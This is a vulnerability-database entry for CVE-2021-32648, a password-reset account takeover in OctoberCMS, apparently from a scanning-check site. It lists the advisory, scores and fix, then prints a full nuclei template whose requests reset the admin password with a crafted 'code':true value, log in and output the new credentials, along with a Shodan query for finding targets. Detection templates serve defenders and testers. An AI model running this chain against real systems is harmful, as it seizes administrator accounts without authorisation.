HexBrain

Browse / CVEs / CVE-2021-32648

CVE-2021-32648· octobercms / october· CWE-287, NVD-CWE-Other

OctoberCMS - Account Takeover

Exploited in the wild. Listed by CISA on 2022-01-18; known to be used by ransomware.

highseverity
8.2CVSS score
91.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

octobercms in a CMS platform based on the Laravel PHP Framework. In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request. The issue has been patched in Build 472 and v1.1.5.

Impact

Unauthenticated attackers can request password resets and gain unauthorized access to user accounts including administrator accounts using a specially crafted request.

Fix

Upgrade to October CMS Build 472 or v1.1.5 or later.

How to confirm it

Send: GET /backend/backend/auth/restore
Positive when: status_code == 200 and contains_all(body, "<meta","csrf-token","Restore") and contains(content_type, "text/html")
Send: POST /backend/backend/auth/restore ; POST /backend/backend/auth/reset/1/{{reset_token}}
Positive when: status_code == 302
Send: GET /backend/backend/auth/signin
Positive when: status_code == 200 and contains_all(body, "_session_key","_token","Login") and contains(content_type, "text/html")
Send: POST /backend/backend/auth/signin
Positive when: contains in header "october_session=" and "admin_auth=" AND status 302

Run it with nuclei: nuclei -id CVE-2021-32648 -u <target>

The full check
id: CVE-2021-32648

info:
  name: OctoberCMS - Account Takeover
  author: daffainfo
  severity: high
  description: |
    octobercms in a CMS platform based on the Laravel PHP Framework. In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request. The issue has been patched in Build 472 and v1.1.5.
  impact: |
    Unauthenticated attackers can request password resets and gain unauthorized access to user accounts including administrator accounts using a specially crafted request.
  remediation: |
    Upgrade to October CMS Build 472 or v1.1.5 or later.
  reference:
    - https://github.com/octobercms/october/security/advisories/GHSA-mxr5-mc97-63rc
    - https://github.com/Immersive-Labs-Sec/CVE-2021-32648
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2021-32648
    cwe-id: CWE-287,NVD-CWE-Other
    epss-score: 0.91219
    epss-percentile: 0.99811
    cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: octobercms
    product: october
    shodan-query: http.component:"october cms"
  tags: cve,cve2021,cms,octobercms,intrusive,kev,vkev,vuln

variables:
  reset_token: "{{rand_base(42)}}"
  username: "admin"
  password: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /backend/backend/auth/restore HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<meta","csrf-token","Restore")'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - '<meta name="csrf-token" content="([0-9a-zA-Z]+)">'
        internal: true

  - raw:
      - |
        POST /backend/backend/auth/restore HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf_token}}&postback=1&login={{username}}

      - |
        POST /backend/backend/auth/reset/1/{{reset_token}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"_token":"{{csrf_token}}","postback":1,"id":1,"code":true,"password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "_session_key","_token","Login")'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_key
        part: body
        group: 1
        regex:
          - '<input name="_session_key" type="hidden" value="([0-9a-zA-Z]+)">'
        internal: true

  - raw:
      - |
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _session_key={{session_key}}&_token={{csrf_token}}&postback=1&login={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "october_session="
          - "admin_auth="
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'

References

Use this check only on systems you are authorised to test. Where the data comes from